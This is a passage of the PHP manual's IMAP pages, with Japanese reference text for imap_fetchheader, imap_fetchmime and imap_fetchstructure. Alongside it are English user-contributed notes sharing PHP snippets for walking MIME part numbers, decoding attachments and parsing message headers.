 $host = '{myhost:110/pop3}';

$mbox = imap_open("$host", "$login", "$password");
$struckture = imap_fetchstructure($mbox, $id);
$message = imap_fetchbody($mbox,$id,$part);
$name = $struckture->parts[$part]->dparameters[0]->value;
$type = $struckture->parts[$part]->typee;
############## type
if ($type == 0)
{
    $type = "text/";
}
elseif ($type == 1)
{
    $type = "multipart/";
}
elseif ($type == 2)
{
    $type = "message/";
}
elseif ($type == 3)
{
    $type = "application/";
}
elseif ($type == 4)
{
    $type = "audio/";
}
elseif ($type == 5)
{
    $type = "image/";
}
elseif ($type == 6)
{
    $type = "video";
}
elseif($type == 7)
{
    $type = "other/";
}
$type .= $struckture->parts[$part]->subtypee;
######## Type end

header("Content-typee: ".$type);
header("Content-Disposition: attachment; filename=".$name);

######## coding
$coding = $struckture->parts[$part]->encoding;
if ($coding == 0)
{
    $message = imap_7bit($message);
}
elseif ($coding == 1)
{
    $wiadomsoc = imap_8bit($message);
}
elseif ($coding == 2)
{
    $message = imap_binary($message);
}
elseif ($coding == 3)
{
    $message = imap_base64($message);
}
elseif ($coding == 4)
{
    $message = quoted_printable($message);
}
elseif ($coding == 5)
{
    $message = $message;
}
echo $message;
########## coding end
 imap_close($mbox);
?>
jsimlo yahoo com 24-May-2004 01:38
this may be the way, how to obtain all those part_numbers.... even when a message contains another message attached, and it contains another message attached...

<?
 $parttypes = array ("text", "multipart", "message", "application", "audio", "image", "video", "other");
 function buildparts ($struct, $pno = "") {
   global $parttypes;
   switch ($struct->type):
     case 1:
       $r = array (); $i = 1;
       foreach ($struct->parts as $part)
         $r[] = buildparts ($part, $pno.".".$i++);

       return implode (", ", $r);
     case 2:
       return "{".buildparts ($struct->parts[0], $pno)."}";
     default:
       return '<a href="?p='.substr ($pno, 1).'">'.$parttypes[$struct->type]."/".strtolower ($struct->subtype)."</a>";
   endswitch;
 }

  $struct = imap_fetchstructure ($pop3mbox, $msguid, FT_UID);
  echo buildparts ($struct);
?>

it will print something like:

<a href="?p=1">text/plain</a>, {<a href="?p=2.1">text/plain</a>, <a href="?p=2.2">text/html</a>}
Sito 24-May-2004 04:54
Better, a fix on a fix... ;)

function read_all_parts($uid){
 global $mime,$ret_info,$enc;
  $mime = array("text","multipart","message","application","audio",
"image","video","other","unknow");
  $enc  = array("7BIT","8BIT","BINARY","BASE64",
"QUOTED-PRINTABLE","OTHER");

 $struct = imap_fetchstructure( $this -> Link, $uid );

 $ret_info = array();

function scan($struct,$subkey){
 global $mime,$enc,$ret_info;

   foreach($struct as $key => $value){

    if($subkey!=0){
    $pid = $subkey.".".($key+1); }
    else { $pid = ($key+1); }

    $ret_info[]['pid'] = $pid;
    $ret_info[key($ret_info)]['type'] = $mime["$value->type"];
    $ret_info[key($ret_info)]['encoding'] = $enc["$value->encoding"];

    next($ret_info);

    if(($value->parts)!= null) {scan($value->parts,$pid); }
   }
 }

if(!is_null($struct->parts))
{
 scan($struct->parts,0);
}
else
{
    print_r($struct);
    echo("<hr>");
    $ret_info[]['pid']=1;
    $ret_info[key($ret_info)]['type']=$mime["$struct->type"];
    $ret_info[key($ret_info)]['encoding']=$enc["$struct->encoding"];
}

return $ret_info;

}
php at NOSPAM dot sibyla dot cz 04-Apr-2004 03:56
// $uid - msg number

function read_all_parts($uid){
 global $mime,$ret_info,$enc;
  $mime = array("text","multipart","message","application","audio",
"image","video","other","unknow");
  $enc  = array("7BIT","8BIT","BINARY","BASE64",
"QUOTED-PRINTABLE","OTHER");

 $struct = imap_fetchstructure( $this -> Link, $uid );

 $ret_info = array();

function scan($struct,$subkey){
 global $mime,$enc,$ret_info;

 foreach($struct as $key => $value){

  if($subkey!=0){
  $pid = $subkey.".".($key+1); }
  else { $pid = ($key+1); }

  $ret_info[]['pid'] = $pid;
  $ret_info[key($ret_info)]['type'] = $mime["$value->type"];
  $ret_info[key($ret_info)]['encoding'] = $enc["$value->encoding"];

  next($ret_info);

  if(($value->parts)!= null) {scan($value->parts,$pid); }
 }

 }

scan($struct->parts,0);

return $ret_info;

}
asfd at aasdfa dot com 30-Aug-2003 02:48
PLEASE DOCUMENT THIS POST AND SAVE US SOME TIME! :)
ac at artcenter dot ac
17-Feb-2002 04:24
Lets say your email has this structure:
1 multipart
    plain
    html
2 x-vcard
and... you can't seem to figure out how to get either plain or HTML part of the multipart message? have you been going through all the trouble looking for a PHP mime parser? well here is a simple solution which SHOULD BE documented in this manual. From example above, if you want to get the plain part of the "multipart" message do this:
$text=imap_fetchbody($mbox,$msg_num,"1.1");
all you do is instead of part number 1, put 1.1 or to get the HTML part put 1.2

EASY!
ulrich at kaldamar dot de 30-Apr-2003 04:54
The function imap_fetchbody() seems uncapable of getting subordinate parts of a message/rfc822-part. I had problems with getting an attachment that was forwarded in such a part, because the object given by imap_fetchstructure() would assume that the part was represented by the string "2.1.2.1.2".

So I wrote this set of functions which parses the raw message-body and creates an array with the struture corresponding to the structure given by imap_fetchstructure(). The function mail_fetchpart() (see below) will work on the array and return even those parts that I could not get with imap_fetchbody().

Example usage of this function: mail_fetchpart($mbox, 2, "2.1.2.1.2");

Note: If the message does not contain multiple pars, the body of the message can be accessed by the part-string "1".
I have more functions for parsing and decoding messages, just email me.

    // get the body of a part of a message according to the
    // string in $part
    function mail_fetchpart($mbox, $msgNo, $part) {
        $parts = mail_fetchparts($mbox, $msgNo);

        $partNos = explode(".", $part);

        $currentPart = $parts;
        while(list ($key, $val) = each($partNos)) {
            $currentPart = $currentPart[$val];
        }

        if ($currentPart != "") return $currentPart;
          else return false;
    }

    // splits a message given in the body if it is
    // a mulitpart mime message and returns the parts,
    // if no parts are found, returns false
    function mail_mimesplit($header, $body) {
        $parts = array();

        $PN_EREG_BOUNDARY = "Content-Type:(.*)boundary=\"([^\"]+)\"";

        if (eregi ($PN_EREG_BOUNDARY, $header, $regs)) {
            $boundary = $regs[2];

            $delimiterReg = "([^\r\n]*)$boundary([^\r\n]*)";
            if (eregi ($delimiterReg, $body, $results)) {
                $delimiter = $results[0];
                $parts = explode($delimiter, $body);
                $parts = array_slice ($parts, 1, -1);
            }

            return $parts;
        } else {
            return false;
        }

    }

    // returns an array with all parts that are
    // subparts of the given part
    // if no subparts are found, return the body of
    // the current part
    function mail_mimesub($part) {
        $i = 1;
        $headDelimiter = "\r\n\r\n";
        $delLength = strlen($headDelimiter);

        // get head & body of the current part
        $endOfHead = strpos( $part, $headDelimiter);
        $head = substr($part, 0, $endOfHead);
        $body = substr($part, $endOfHead + $delLength, strlen($part));

        // check whether it is a message according to rfc822
        if (stristr($head, "Content-Type: message/rfc822")) {
            $part = substr($part, $endOfHead + $delLength, strlen($part));
            $returnParts[1] = mail_mimesub($part);
            return $returnParts;
        // if no message, get subparts and call function recursively
        } elseif ($subParts = mail_mimesplit($head, $body)) {
            // got more subparts
            while (list ($key, $val) = each($subParts)) {
                $returnParts[$i] = mail_mimesub($val);
                $i++;
            }
            return $returnParts;
        } else {
            return $body;
        }
    }

    // get an array with the bodies all parts of an email
    // the structure of the array corresponds to the
    // structure that is available with imap_fetchstructure
    function mail_fetchparts($mbox, $msgNo) {
        $parts = array();
        $header = imap_fetchheader($mbox,$msgNo);
        $body = imap_body($mbox,$msgNo, FT_INTERNAL);

        $i = 1;

        if ($newParts = mail_mimesplit($header, $body)) {
            while (list ($key, $val) = each($newParts)) {
                $parts[$i] = mail_mimesub($val);
                $i++;
            }
        } else {
            $parts[$i] = $body;
        }
        return $parts;

    }
bubblocity at yahoo dot com 24-Mar-2003 08:18
This is a well overdue addendum to the code submitted on
14-Jan-2002 02:58.  This function was called inside the GetParts function:

function concat_ws($separator, $str1, $str2){
    if(strlen($str1) && strlen($str2)){
        return $str1 . $separator . $str2;
    }
    else if (strlen($str1)){
        return $str1;
    }
    else if (strlen($str2)){
        return $str2;
    }
    else return '';

}
markusNOSPAM at broede dot NO_SPAM dot de 12-Aug-2002 08:54
Maybe you prefer a short and recursive way to parse a message
and get the part numbers built:
-------------------------------------------------------------

function parse_message($obj, $prefix="") {
/* Here you can process the data of the main "part" of the message, e.g.: */
  do_anything_with_message_struct($obj);

  if (sizeof($obj->parts) > 0)
    foreach ($obj->parts as $count=>$p)
      parse_part($p, $prefix.($count+1));
}

function parse_part($obj, $partno) {
/* Here you can process the part number and the data of the parts of the message, e.g.: */
  do_anything_with_part_struct($obj,$partno);

  if ($obj->type == TYPEMESSAGE)
    parse_message($obj->parts[0], $partno.".");
  else
    if (sizeof($obj->parts) > 0)
      foreach ($obj->parts as $count=>$p)
        parse_part($p, $partno.".".($count+1));
}

/* Let's say, you have an already opened mailbox stream $mbox
   and you like to parse through the first message: */

$msgno = 1;
parse_message(imap_fetchstructure($mbox,$msgno));
sarachaga at yahoo dot com 04-Mar-2002 11:23
For those guys trying to extract a message/rfc822 parts correctly here is a hint:

As you may note, if you recurse over the structure object returned by imap_fetchstructure, when you reach the message/rfc822 you find that the message itself counts as a part too, so an attachment in that message should be 2.1.2 (the .1. is the whole rfc822 msg), but if you use that part number in imap_fetchbody you get nothing.

What i did is: my recursing function checks if the part/subtype of a particular part is message/rfc822, and only in that case i do not concatenate the .1 to the part number, because as far as i know, this only happens with this kind of message. And for all the other parts (non rfc822) it concats the dot-partnumber.
ac at artcenter dot ac 17-Feb-2002 05:24
Lets say your email has this structure:
1 multipart
    plain
    html
2 x-vcard
and... you can't seem to figure out how to get either plain or HTML part of the multipart message? have you been going through all the trouble looking for a PHP mime parser? well here is a simple solution which SHOULD BE documented in this manual. From example above, if you want to get the plain part of the "multipart" message do this:
$text=imap_fetchbody($mbox,$msg_num,"1.1");
all you do is instead of part number 1, put 1.1 or to get the HTML part put 1.2

EASY!
bubblocity at yahoo dot com 14-Jan-2002 01:58
If you are trying to fetch the body part and don't know what to fetch,
here is a function that will return all the body parts as a single string with each part separated by '|' character.
Followed by a fuction which will retrieve the structure of that part.

You can then parse the return string by explode() and call imap_fetchbody() on each of the parts.

Chunks of this code was stolen from the following site:
http://www.bitsense.net/PHPNotes/IMAP/imap_fetchstructure.asp

<pre>
#Function Gets all the subparts , but does not get part: ''
function GetParts($this_part, $part_no) {

        //If it is type message(2)=msg envelope,
    //Not sure about this assumption : the if statement
    //double check with RFC822 on this one.

    if($this_part->type==2){
        //and there is only 1 subpart of the envelope
        //and that subpart is multipart
        //otherwise will generate excessive '.1' and
        //send wrong part_no to imap_fetchbody
                if($this_part->parts[0]->type==1){
                $this_part=$this_part->parts[0];
                }
        }

        if (count($this_part->parts)>0) {
                for ($i = 0; $i < count($this_part->parts); $i++) {
                        if ($part_no != "") {
                $newpartno = $part_no . '.' . ($i +1);
            }
                        else $newpartno = $i+1;

            $partstringary[$i] =
                GetParts($this_part->parts[$i], $newpartno);
                }//for
                $partstring = implode('|', $partstringary);

        }//if
        $partstring = concat_ws('|', $part_no , $partstring);
        //echo $partstring ;
        return $partstring;
}

#########################################
#Companion function go to GetParts();
#Given the partno - returns the structure
#########################################
function GetSubPartStructure($mbox, $msgno, $partno){

        $msg_struct = imap_fetchstructure($mbox, $msgno);
        $partsary = explode ('.', $partno);
        $subpartstruct = $msg_struct;

        for ($i=0; $i< count($partsary); $i++){
        //Not sure about this, if assumption
        // you should probably double check with RFC822 on this one.
                if($subpartstruct->type==2){
                        if($subpartstruct->parts[0]->type==1){
                          $subpartstruct=$subpartstruct->parts[0];
                        }
                }
                $subpartstruct = $subpartstruct->parts[$partsary[$i]-1];
        }
        return $subpartstruct;
}

function decodemsg($msgstring, $encoding){
        //Write your own function to decode,
    //or lots of examples within PHP already.
    return $decodemsg;
}

#Usage:
$msg_struct = imap_fetchstructure($mbox, $msgno);
$msgparts= GetParts($msg_struct, $part_no);
$partsary = explode($msgparts, '|');
for($i=0; $i<count($parsary);$i++){
    $substruct = GetSubPartStructure($mbox, $msgno, $partsary[$i]);
    if($substruct->type==''){
        //then this is type TEXT
        $msg = imap_fetchbody($mbox, $msgno, $msgpartsary[$i]);
        //Do the decoding
        $msg = decodemsg($msg, $struct->encoding);
        echo $msg; //or do whatever you want with it.
    }
    else{ //Not TEXT
        //Do whatever you want
        //i.e. write the attachment...etc
    }
}

</pre>
pmzandbergen at yahoo dot com 10-Jul-2001 07:56
Nice function above. However, there are some webmail (normaly plain text) services like you which don't use structure type 'ATTACHMENT' with the attachments, but 'INLINE' (also plain text is called like this). Just replace
if (strtoupper ($structure->disposition) == "ATTACHMENT"){
with

            if (strtoupper ($structure->disposition) == "ATTACHMENT" || strtoupper ($structure->disposition) == "INLINE" && strtoupper ($structure->subtype) != "PLAIN") {

But remember, when uou send a message with plaintext & attachment, also the plaintext is an attachment
rfinnie at kefta dot com 14-Dec-2000 02:23
With regard to message/rfc822 parts, it appears that the IMAP c-client that PHP uses does not follow the IMAP RFC (#2060) correctly.  The RFC specifies that to grab the headers for a message/rfc822 part, you would request part "2.HEADER" (assuming 2 is your part number), and the full text of the part would be "2.TEXT".  Instead, "2.0" will grab the headers, and just "2" will get the text.
cleong at organic dot com 04-Apr-2000 09:19
Here's a routine that yields the part of a message with a particular MIME type:

<?php
function get_mime_type(&$structure) {
    $primary_mime_type = array("TEXT", "MULTIPART", "MESSAGE", "APPLICATION", "AUDIO", "IMAGE", "VIDEO", "OTHER");
    if($structure->subtype) {
         return $primary_mime_type[(int) $structure->type] . '/' . $structure->subtype;
     }
     return "TEXT/PLAIN";
}

function get_part($stream, $msg_number, $mime_type, $structure = false, $part_number = false) {
    if (!$structure) {
         $structure = imap_fetchstructure($stream, $msg_number);
     }
    if($structure) {
         if($mime_type == get_mime_type($structure)) {
              if(!$part_number) {
                   $part_number = "1";
               }
              $text = imap_fetchbody($stream, $msg_number, $part_number);
              if($structure->encoding == 3) {
                   return imap_base64($text);
               } else if ($structure->encoding == 4) {
                   return imap_qprint($text);
               } else {
                   return $text;
            }
        }
         if ($structure->type == 1) { /* multipart */
              while (list($index, $sub_structure) = each($structure->parts)) {
                if ($part_number) {
                    $prefix = $part_number . '.';
                }
                $data = get_part($stream, $msg_number, $mime_type, $sub_structure, $prefix . ($index + 1));
                if ($data) {
                    return $data;
                }
            }
        }
    }
    return false;
}

// get plain text
$data = get_part($stream, $msg_number, "TEXT/PLAIN");
// get HTML text
$data = get_part($stream, $msg_number, "TEXT/HTML");
?>

Right now only the first part with the matching MIME type is returned. A more useful version would create an array and return all matching parts (for GIFs, for instance).


メッセージのヘッダを返す

  • ≪ imap_fetchbody
  • imap_fetchmime ≫
  • PHP Manual
  • IMAP 関数
  • メッセージのヘッダを返す

imap_fetchheader

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetchheader — メッセージのヘッダを返す

説明

imap_fetchheader ( resource $imap , int $message_num , int $flags = 0 ) : string|false

指定したメッセージについて、フィルタリング されていない完全な » RFC2822 フォーマットのヘッダをテキスト文字列として取得します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_num

メッセージ番号。

flags

オプション flags は次のようになります。

  • FT_UID - 引数 msgno は UID です。
  • FT_INTERNAL - 返される文字列は "internal" フォーマットです。CRLF に正規化しません。
  • FT_PREFETCHTEXT - RFC822.TEXT を、 同時に事前に取得しておく必要があります。これは、メッセージテキスト 全体を取得したい場合（例:「ローカルファイルに保存する」操作）に IMAP 接続で余分な RTT を回避します。

返り値

指定したメッセージのヘッダをテキスト文字列で返します。 失敗した場合に false を返します

参考

  • imap_fetch_overview() - 指定したメッセージのヘッダ情報の概要を読む

User Contributed Notes

george dot who at gmail dot com 15-Jun-2015 02:03
Here is a simple function to get an array with all headers.

<?php
function mail_header_parse($mbox,$msg){
    $header=imap_fetchheader($mbox,$msg);
    preg_match_all("/^([^\r\n:]+)\s*[:]\s*([^\r\n:]+(?:[\r]?[\n][ \t][^\r\n]+)*)/m",$header,$matches,PREG_SET_ORDER);
    foreach($matches as $match){
        $match[2]=iconv_mime_decode($match[2],ICONV_MIME_DECODE_CONTINUE_ON_ERROR,'utf-8');
        if(is_array($headers[$match[1]])){
            $headers[$match[1]][]=$match[2];
        }elseif(isset($headers[$match[1]])){
            $headers[$match[1]]=array($headers[$match[1]],$match[2]);
        }else{
            $headers[$match[1]]=$match[2];
        }
    }
    return $headers;
}
?>
rgagnon24 dot nospam at gmail dot com 24-Jun-2010 09:52
Interesting that imap_headerinfo() does not allow a UID for the $msg_number field like all other fetching functions seem to allow.

If you want to use a UID to fetch the headers, use this two-step process:

<?php
/*
 * assumes $mbox is your stream, and $uid is set
 * properly. Proper error checking is up to you.
 */
$hText = imap_fetchbody($mbox, $uid, '0', FT_UID);
$headers = imap_rfc822_parse_headers($hText);
?>

The result is the same as the output of imap_headerinfo(), but you get to use the UID.
Jille at nomorecrap dot quis dot cx 06-Apr-2008 03:15
<?PHP
$headers=imap_fetchheader($imap, $msgid);
preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)\r\n/m', $headers, $matches);
?>

Works quite well for splitting headers,
$matches will contain 3 arrays:
$matches[0] are the full-lines (To: Jille@devnull.quis.cx\r\n)
$matches[1] will be the header (To)
$matches[2] will be the value (Jille@devnull.quis.cx)

In multi-line values the 'multilining is not stripped!'
this could be achieved with something like:
<?PHP
preg_replace('/\r\n\s+/m', '', $matches[2]);
?>
onofabio at gmail dot com 07-Mar-2008 03:18
This function ignore that some header value have multiple lines...

<?php
    // connecting to imap mailserver
    $connection = @imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");

    // get imap_fetch header and put single lines into array
    $header = explode("\n", imap_fetchheader($connection, 1));

    // browse array for additional headers
    if (is_array($header) && count($header)) {
        $head = array();
        foreach($header as $line) {
            // is line with additional header?
            if (eregi("^X-", $line)) {
                // separate name and value
                eregi("^([^:]*): (.*)", $line, $arg);
                $head[$arg[1]] = $arg[2];
            }
        }
    }

    // now are all contained additional headers in array $head
?>

I write this simple function....

$mbox = imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");
$mid=1 // Message id

// Get headers
$header = imap_fetchheader($mbox, $mid);

// Split on \n
$h_array=split("\n",$header);

foreach ( $h_array as $h ) {

    // Check if row start with a char
    if ( preg_match("/^[A-Z]/i", $h )) {

        $tmp = split(":",$h);
    $header_name = $tmp[0];
    $header_value = $tmp[1];

    $headers[$header_name] = $header_value;

    } else {
        // Append row to previous field
    $headers[$header_name] = $header_value . $h;
    }

}
Max Geiger 08-Mar-2007 03:59
If you call the function with the bitmask-parameter FT_PREFETCHTEXT the /Seen flag of the message will be set.
dj_doktor at upskirt dot cz 03-Apr-2005 07:17
I spend lot of time find out how I can detect messages with
different priorities. When I read users notes I remember
function imap_fetchheader which show header of message
and additional headers too. Because I'm so lazy to work with
regular expressions I required my frend for writing code
- thanx Znouza.
And there is... :)

<?php
    // connecting to imap mailserver
    $connection = @imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");

    // get imap_fetch header and put single lines into array
    $header = explode("\n", imap_fetchheader($connection, 1));

    // browse array for additional headers
    if (is_array($header) && count($header)) {
        $head = array();
        foreach($header as $line) {
            // is line with additional header?
            if (eregi("^X-", $line)) {
                // separate name and value
                eregi("^([^:]*): (.*)", $line, $arg);
                $head[$arg[1]] = $arg[2];
            }
        }
    }

    // now are all contained additional headers in array $head
?>


メッセージの特定のセクションに対する MIME ヘッダを取り出します

  • ≪ imap_fetchheader
  • imap_fetchstructure ≫
  • PHP Manual
  • IMAP 関数
  • メッセージの特定のセクションに対する MIME ヘッダを取り出します

imap_fetchmime

(PHP 5 >= 5.3.6, PHP 7, PHP 8)

imap_fetchmime — メッセージの特定のセクションに対する MIME ヘッダを取り出します

説明

imap_fetchmime ( resource $imap , int $message_num , string $section , int $flags = 0 ) : string|false

指定したメッセージの本文の特定のセクションの MIME ヘッダを取り出します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_num

メッセージ番号

section

パート番号。ピリオドで区切られた整数文字列を指定します。 これは、IMAP4 の仕様に従って本文パートのリストにインデックスを付けます。

flags

ビットマスク。以下の組合わせとなります。

  • FT_UID - message_num は UID です
  • FT_PEEK - 既に設定されていない場合、\Seen フラグを設定しません
  • FT_INTERNAL - 返される文字列は内部フォーマットです。 CRLF に正規化しません。

返り値

指定したメッセージの本文の特定のセクションの MIME ヘッダを文字列として返します。 失敗した場合に false を返します

参考

  • imap_fetchbody() - メッセージ本文中の特定のセクションを取り出す
  • imap_fetchstructure() - 特定のメッセージの構造を読み込む
  • imap_fetchheader() - メッセージのヘッダを返す

User Contributed Notes

There are no user contributed notes for this page.


特定のメッセージの構造を読み込む

  • ≪ imap_fetchmime
  • imap_fetchtext ≫
  • PHP Manual
  • IMAP 関数
  • 特定のメッセージの構造を読み込む

imap_fetchstructure

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetchstructure — 特定のメッセージの構造を読み込む

説明

imap_fetchstructure ( resource $imap , int $message_num , int $flags = 0 ) : stdClass|false

この関数は、指定したメッセージに関するすべての構造化された情報を取り出します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_num

メッセージ番号。

flags

オプションのパラメータで、FT_UID のみが指定可能です。 これは、message_num を UID として処理することを関数に指定するためのものです。

返り値

以下の表に示すプロパティを持つオブジェクトを返します。 失敗した場合に false を返します

imap_fetchstructure() が返すオブジェクト
type | 最初の body 部の型
encoding | body 部を転送する際のエンコード法
ifsubtype | subtype 文字列がある場合に true
subtype | MIME の subtype
ifdescription | description 文字列がある場合に true
description | 内容を記述する文字列
ifid | identification 文字列がある場合に true
id | Identification 文字列
lines | 行数
bytes | バイト数
ifdisposition | disposition 文字列がある場合に true
disposition | Disposition 文字列
ifdparameters | dparameters 配列が存在する場合に true
dparameters | オブジェクトの配列。各オブジェクトは "attribute" および "value" というプロパティを保持し、それぞれ Content-disposition MIME ヘッダの 対応するパラメータを表す。
ifparameters | 配列 parameters が存在する場合に true
parameters | オブジェクトの配列。各オブジェクトは "attribute" および "value" というプロパティを保持する。
parts | オブジェクトの配列であり、その構造はトップレベルオブジェクトと 同じです。それぞれが MIME body 部に対応しています。

最初の body 部の型 (使用するライブラリによって異なるため、定数を使うことを推奨します)
値 | 型 | 定数
0 | text | TYPETEXT
1 | multipart | TYPEMULTIPART
2 | message | TYPEMESSAGE
3 | application | TYPEAPPLICATION
4 | audio | TYPEAUDIO
5 | image | TYPEIMAGE
6 | video | TYPEVIDEO
7 | model | TYPEMODEL
8 | other | TYPEOTHER

転送時のエンコーディング (使用するライブラリによって異なるため、定数を使うことを推奨します)
値 | 型 | 定数
0 | 7bit | ENC7BIT
1 | 8bit | ENC8BIT
2 | Binary | ENCBINARY
3 | Base64 | ENCBASE64
4 | Quoted-Printable | ENCQUOTEDPRINTABLE
5 | other | ENCOTHER

参考

  • imap_fetchbody() - メッセージ本文中の特定のセクションを取り出す
  • imap_bodystruct() - 指定したメッセージの指定した body セクションの構造を読み込む

User Contributed Notes

hello at ivanbogomolov dot ru 08-Apr-2019 11:33
If you logic based on compare structure strings, you must compare it case insensetive.
<?php

$p = imap_fetchstructure($this->_imap_resource, $mid);
//do not compare $p->disposition == 'INLINE'
if(preg_match('/inline/i', $p->disposition))
{
 //this works
}
?>
alchrystal88 at web dot de 24-Jan-2019 11:44
If you have errors with wrong attachment names like this:

correct name:
String -> Prufbericht Hersteller.pdf

fetchstructure object name:
 =?ISO-8859-1?Q?Pr=FCfbericht_Hersteller=2Epdf?=

Workaround to reconvert:

imap_mime_header_decode($fetchstructure->dparameters->value)[0]->text

imap_mime_header_decode($filename)[0]->text
Anonymous 20-Jun-2013 10:52
I improved the code from this post (
http://www.php.net/manual/en/function.imap-fetchstructure.php#51497) a bit, now it handles multi embedded email correctly, and gives you a content with not marking character, like the '=' (soft line break).

<?php
//return is structured as
// $mail = array ( 'body' => ...
//          'attachment' => array() );
function _get_body_attach($mbox, $mid) {
    $struct = imap_fetchstructure($mbox, $mid);

    $parts = $struct->parts;
    $i = 0;
    if (!$parts) { /* Simple message, only 1 piece */
        $attachment = array(); /* No attachments */
        $content = imap_body($mbox, $mid);
    } else { /* Complicated message, multiple parts */

        $endwhile = false;

        $stack = array(); /* Stack while parsing message */
        $content = "";    /* Content of message */
        $attachment = array(); /* Attachments */

        while (!$endwhile) {
            if (!$parts[$i]) {
                if (count($stack) > 0) {
                    $parts = $stack[count($stack)-1]["p"];
                    $i     = $stack[count($stack)-1]["i"] + 1;
                    array_pop($stack);
                } else {
                    $endwhile = true;
                }
            }

            if (!$endwhile) {
                /* Create message part first (example '1.2.3') */
                $partstring = "";
                foreach ($stack as $s) {
                    $partstring .= ($s["i"]+1) . ".";
                }
                $partstring .= ($i+1);

                if (strtoupper($parts[$i]->disposition) == "ATTACHMENT" || strtoupper($parts[$i]->disposition) == "INLINE") { /* Attachment or inline images */
                    $filedata = imap_fetchbody($mbox, $mid, $partstring);
                    if ( $filedata != '' ) {
                        // handles base64 encoding or plain text
                        $decoded_data = base64_decode($filedata);
                        if ( $decoded_data == false ) {
                            $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                "filedata" => $filedata);
                        } else {
                            $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                "filedata" => $decoded_data);
                        }
                    }
                } elseif (strtoupper($parts[$i]->subtype) == "PLAIN" && strtoupper($parts[$i+1]->subtype) != "HTML") { /* plain text message */
                    $content .= imap_fetchbody($mbox, $mid, $partstring);
                } elseif ( strtoupper($parts[$i]->subtype) == "HTML" ) {
                    /* HTML message takes priority */
                    $content .= imap_fetchbody($mbox, $mid, $partstring);
                }
            }

            if ($parts[$i]->parts) {
                if ( $parts[$i]->subtype != 'RELATED' ) {
                    // a glitch: embedded email message have one additional stack in the structure with subtype 'RELATED', but this stack is not present when using imap_fetchbody() to fetch parts.
                    $stack[] = array("p" => $parts, "i" => $i);
                }
                $parts = $parts[$i]->parts;
                $i = 0;
            } else {
                $i++;
            }
        } /* while */
    } /* complicated message */

    $ret = array();
    $ret['body'] = quoted_printable_decode($content);
    $ret['attachment'] = $attachment;
    return $ret;
}
?>
raulggonzalez at gmail dot com 21-Sep-2010 05:54
Hello eveybody,

After reading plenty of posts (some good, some others not so good) I want to post a function to find out whether an email is coming with attachments

The function can be called passing the object returned by imap_fetchstructure() or any of its parts (recursively)

<?php
$inbox = imap_open($hostname,$username,$password) or die('Cannot connect to mail: ' . imap_last_error());
$struct = imap_fetchstructure($inbox,$uid,FT_UID);
$existAttachments = existAttachment($struct);

function existAttachment($part){
    if (isset($part->parts)){
        foreach ($part->parts as $partOfPart){
            existAttachment($partOfPart);
        }
    }
    else{
        if (isset($part->disposition)){
            if ($part->disposition == 'attachment'){
                echo '<p>' . $part->dparameters[0]->value . '</p>';
// here you can create a link to the file whose name is  $part->dparameters[0]->value to download it
                return true;
            }
        }
    }
}
?>

Hopefully somebody can use it as well
burninleo at gmx dot net 03-Aug-2010 09:42
Use imap_errors() to get rid of sticky error messages about incorrect MIME headers.
Rui Torre rui_sharkye at hotmail dot com 02-Nov-2008 02:34
I've made this two functions to decode mime headers and so far they are working just fine decoding all headers. Please let me know if you find any error. Hope they are useful for you too.

<?php

function decode_headers($cabecalho){
        while (preg_match('/^(.*)=\?([^?]*)\?(Q|B)\?(.*)$/Ui', $cabecalho)){
            $cabecalho = preg_replace("/(\t|\r|\n)/", "", $cabecalho);
            $cabecalho = preg_replace("/\?(Q|B)\?=/Ui", "?\\1? =", $cabecalho);

            $partes_cabecalho = explode("?=", $cabecalho);

            $resultado = "";
            foreach ($partes_cabecalho as $texto){
                $texto = preg_replace("/\?(Q|B)\?\s=/Ui", "?\\1?=", $texto);
                $texto = preg_replace("/\?(Q|B)\?/Ui", "=?\\1=?", $texto);

                if (preg_match('/^(.*)=\?([^?]*)=\?(Q|B)=\?(.*)$/Ui', $texto)){
                    $partes_texto = explode ("=?", $texto);

                    $parte = descodificar_parte($partes_texto[0], $partes_texto[1]);
                    $parte .= descodificar_parte($partes_texto[3], $partes_texto[2]);
                } else {
                    $parte = $texto;
                }

                if (strtoupper($partes_texto[1]) == "UTF-8"){ $parte = utf8_decode($parte);}
                $resultado .= $parte;
            }
            $cabecalho = $resultado;
        }

        return trim($cabecalho);
    }

    function descodificar_parte($texto, $codificacao){
        if (trim($texto) == ""){ return "";}

        if (ucfirst($codificacao) == "B"){
            $texto = base64_decode($texto);
            $texto = htmlspecialchars($texto);
        } else if (ucfirst($codificacao) == "Q"){
            $texto = str_replace("_", " ", $texto);
            $texto = quoted_printable_decode($texto);
        }
        return $texto;
    }

?>
david at hundsness dot com 02-Sep-2008 02:31
Here is code to parse and decode all types of messages, including attachments. I've been using something like this for awhile now, so it's pretty robust.

<?
function getmsg($mbox,$mid) {
    // input $mbox = IMAP stream, $mid = message id
    // output all the following:
    global $charset,$htmlmsg,$plainmsg,$attachments;
    $htmlmsg = $plainmsg = $charset = '';
    $attachments = array();

    // HEADER
    $h = imap_header($mbox,$mid);
    // add code here to get date, from, to, cc, subject...

    // BODY
    $s = imap_fetchstructure($mbox,$mid);
    if (!$s->parts)  // simple
        getpart($mbox,$mid,$s,0);  // pass 0 as part-number
    else {  // multipart: cycle through each part
        foreach ($s->parts as $partno0=>$p)
            getpart($mbox,$mid,$p,$partno0+1);
    }
}

function getpart($mbox,$mid,$p,$partno) {
    // $partno = '1', '2', '2.1', '2.1.3', etc for multipart, 0 if simple
    global $htmlmsg,$plainmsg,$charset,$attachments;

    // DECODE DATA
    $data = ($partno)?
        imap_fetchbody($mbox,$mid,$partno):  // multipart
        imap_body($mbox,$mid);  // simple
    // Any part may be encoded, even plain text messages, so check everything.
    if ($p->encoding==4)
        $data = quoted_printable_decode($data);
    elseif ($p->encoding==3)
        $data = base64_decode($data);

    // PARAMETERS
    // get all parameters, like charset, filenames of attachments, etc.
    $params = array();
    if ($p->parameters)
        foreach ($p->parameters as $x)
            $params[strtolower($x->attribute)] = $x->value;
